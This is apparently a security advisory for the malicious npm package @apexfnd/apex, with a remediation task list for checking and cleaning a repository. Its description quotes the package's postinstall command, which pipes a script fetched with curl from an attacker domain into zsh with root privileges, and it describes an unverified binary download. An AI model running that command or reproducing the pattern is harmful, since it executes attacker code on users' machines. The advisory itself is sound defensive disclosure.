MAL-2026-11121 Malicious code in @apexfnd/apex (npm)
Malicious package
Published
MAL-2026-11121 is a malicious package: @apexfnd/apex (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-11121/ (Markdown: https://insights.sbomify.com/MAL-2026-11121/index.md)
- Package
- @apexfnd/apex
- Registry
- npm
What is MAL-2026-11121?
MAL-2026-11121 is a malicious package in @apexfnd/apex, published on 28 Jul 2026.
Official description
The npm package @apexfnd/apex ships a postinstall script (install.cjs) that performs two install-time remote-code-execution actions. On macOS it writes an AppleScript to /tmp and invokes osascript to run
curl -fsSL https://update.apex-arena-router.com/loader.sh | zsh with administrator privileges, prompting the user for their password and executing the returned shell script as root. On all platforms it also unconditionally downloads a platform-specific binary from https://github.com/Apex-Foundation/copilot/releases/download/v1.0.0/apex-<target>, writes it to the package's bin path, and chmods it 0755, without any hash or signature verification. The package's declared publisher metadata (homepage omp.sh, repository can1357/oh-my-pi) does not match either destination (update.apex-arena-router.com, github.com/Apex-Foundation/copilot); the fetched content is attacker-controlled bytes executed on the installer's machine at install time, with root privileges on macOS.What should I do about MAL-2026-11121?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.